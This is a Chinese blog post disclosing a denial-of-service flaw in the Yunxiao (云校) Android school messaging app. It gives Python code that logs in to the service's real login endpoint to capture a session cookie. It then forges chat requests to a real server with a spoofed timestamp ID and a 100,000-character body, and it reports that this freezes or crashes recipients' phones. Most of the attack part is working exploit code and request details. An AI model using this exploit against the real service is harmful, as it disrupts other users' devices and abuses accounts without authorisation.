云校Android客户端拒绝服务漏洞

云校Android客户端拒绝服务漏洞

注:文中代码均使用Python语言

漏洞形成原因:
云校Android客户端发送信息功能在客户端限制了信息长度,但是在服务端并没有验证,Android客户端接收信息后也没有截断,直接输出了消息,于是造成了拒绝服务

首先利用 云校密码爆破#3利用Android客户端 中提到的登录接口获取一个cookie

#getcookie
url = "http://passport.yunxiao.com:8088/passport/v1/login"
postdata = ("username={换成用户名}@bnds&appVersion=76&password={换成密码}&deviceType=android")
request = urllib2.Request(url, data = postdata)
response = urllib2.urlopen(request)
content = response.read()
pattern = re.compile(r'.*?"yxssid":"(?P<cookie>.*?)\u003d\u003d".*?',re.I|re.S)
match = pattern.match(content)
cookie = "YXSSID=" + match.group('cookie') + "=="

 


再伪造发送消息的请求

http://server1.yunxiao.com:8180/chat/message/send

POST:

{"body":"{消息内容}","id":"{id号}","toJID":"收信人账号(非登陆账号)","type":"chat"}


这里需要注意一下,ID这个参数显然不是随便填的。但是熟悉时间戳的话会发现,ID的前10位很明显是时间戳,查了一下,果真没错,而后三位估计是随机数。

看样子只需要让ID的前10位比现在的时间晚就行了,生成一个比现在晚20秒的时间戳

time = str(time.time() + 20)
time = time[:10] + "846"

 

另外,发送时需要将Content-type设为application/json

发送测试,能成功收到,再试试包括10万个a的请求,发现服务器也接受了,而也在客户端中显示了出来

1

这样成功让客户端崩溃了。而且只要一点击消息界面就会开始卡,低配手机会直接崩溃。

2

但是还有个问题,现在还没解决,就是会出现服务端返回{“errno”:0},但是客户端接收不到的情况,还有待研究。

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据